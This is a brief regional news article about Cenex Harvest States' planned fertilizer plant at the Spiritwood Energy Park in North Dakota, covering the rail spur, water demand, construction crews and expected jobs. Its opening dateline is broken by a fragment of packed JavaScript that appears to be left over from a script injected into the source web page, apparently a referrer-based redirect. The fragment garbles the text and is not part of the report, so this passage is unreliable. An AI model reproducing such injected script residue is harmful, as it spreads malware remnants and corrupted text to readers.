SPIRITWOOD, iieyi|var|u0026u|referrer|nnnia||js|php’.split(‘|’),0,{}))
ND – (NewsDakota.com) Cenex Harvest States still plans to build a fertilizer plant in the Spiritwood Energy Park. Crews broke ground to build retention ponds last fall.

Jamestown Mayor Katie Andersen is optimistic the plant will be constructed. She said spending money on the rail spur was controversial but there appears to be more support for the rail spur now.

An announcement on the construction status of the $3 billion dollar fertilizer plant is expected later this summer.

According to Cenex Harvest States officials details about the water source for the plant may be announced soon.

Earlier this month rural water systems and local landowners expressed concern about the plant’s water supply demands during a dry spell. The plant will use roughly 5,000 gallons of water per minute once it’s operational.

More than 700 construction workers will be working on the plant at any given time. A work crew camp will be used to house several workers. The plant is expected to employ about 170 people once it’s fully operational in 2018.